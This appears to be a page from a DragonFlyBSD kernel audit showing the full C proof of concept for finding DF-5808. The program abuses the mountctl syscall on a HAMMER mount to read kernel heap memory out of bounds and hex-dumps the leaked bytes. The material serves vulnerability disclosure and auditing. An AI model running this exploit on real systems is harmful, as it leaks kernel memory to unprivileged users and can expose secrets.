⬢ DragonFlyBSD Kernel Audit
DF-5808 / mctl.c
← back to finding ↓ download raw
/*
 * DF-5808 trigger: unprivileged mountctl(MOUNTCTL_MOUNTFLAGS) on a HAMMER(1)
 * mount -> hammer_vop_mountctl() double-counts *a_res, sys_mountctl()
 * copyout()s an inflated length from the (buflen+1)-byte kernel heap buffer
 * -> OOB kernel heap read disclosed to userspace.
 *
 * usage: mctl <path> <buflen> [runs]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/syscall.h>

#ifndef SYS_mountctl
#define SYS_mountctl 468
#endif
#define MOUNTCTL_MOUNTFLAGS 18

int main(int argc, char **argv)
{
	const char *path;
	int buflen, runs = 1, i, j;
	char *out;
	long ret;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <path> <buflen> [runs]\n", argv[0]);
		return 1;
	}
	path = argv[1];
	buflen = atoi(argv[2]);
	if (argc > 3)
		runs = atoi(argv[3]);

	out = calloc(65536 + 16, 1);
	if (!out)
		return 1;

	for (i = 0; i < runs; i++) {
		memset(out, 0, 65536 + 16);
		errno = 0;
		ret = syscall(SYS_mountctl, path, MOUNTCTL_MOUNTFLAGS,
			      -1, NULL, 0, out, buflen);
		if (ret < 0) {
			printf("run %d: mountctl errno=%d (%s)\n",
			       i, errno, strerror(errno));
			continue;
		}
		printf("run %d: ret=%ld buflen=%d flags_str=[%s] "
		       "strlen=%zu\n", i, ret, buflen, out, strlen(out));
		if (ret > buflen) {
			printf("  *** ret(%ld) > buflen(%d): "
			       "%ld bytes past the %d-byte kernel buffer\n",
			       ret, buflen, (long)ret - buflen, buflen);
			/* dump everything from strlen() onward */
			printf("  tail dump (offset strlen .. ret-1):\n");
			for (j = 0; j < ret; j += 16) {
				int k;
				printf("   %04x: ", j);
				for (k = 0; k < 16 && j + k < ret; k++)
					printf("%02x ",
					       (unsigned char)out[j + k]);
				printf("  |");
				for (k = 0; k < 16 && j + k < ret; k++) {
					unsigned char c = out[j + k];
					putchar((c >= 32 && c < 127) ?
						c : '.');
				}
				printf("|\n");
			}
		}
	}
	free(out);
	return 0;
}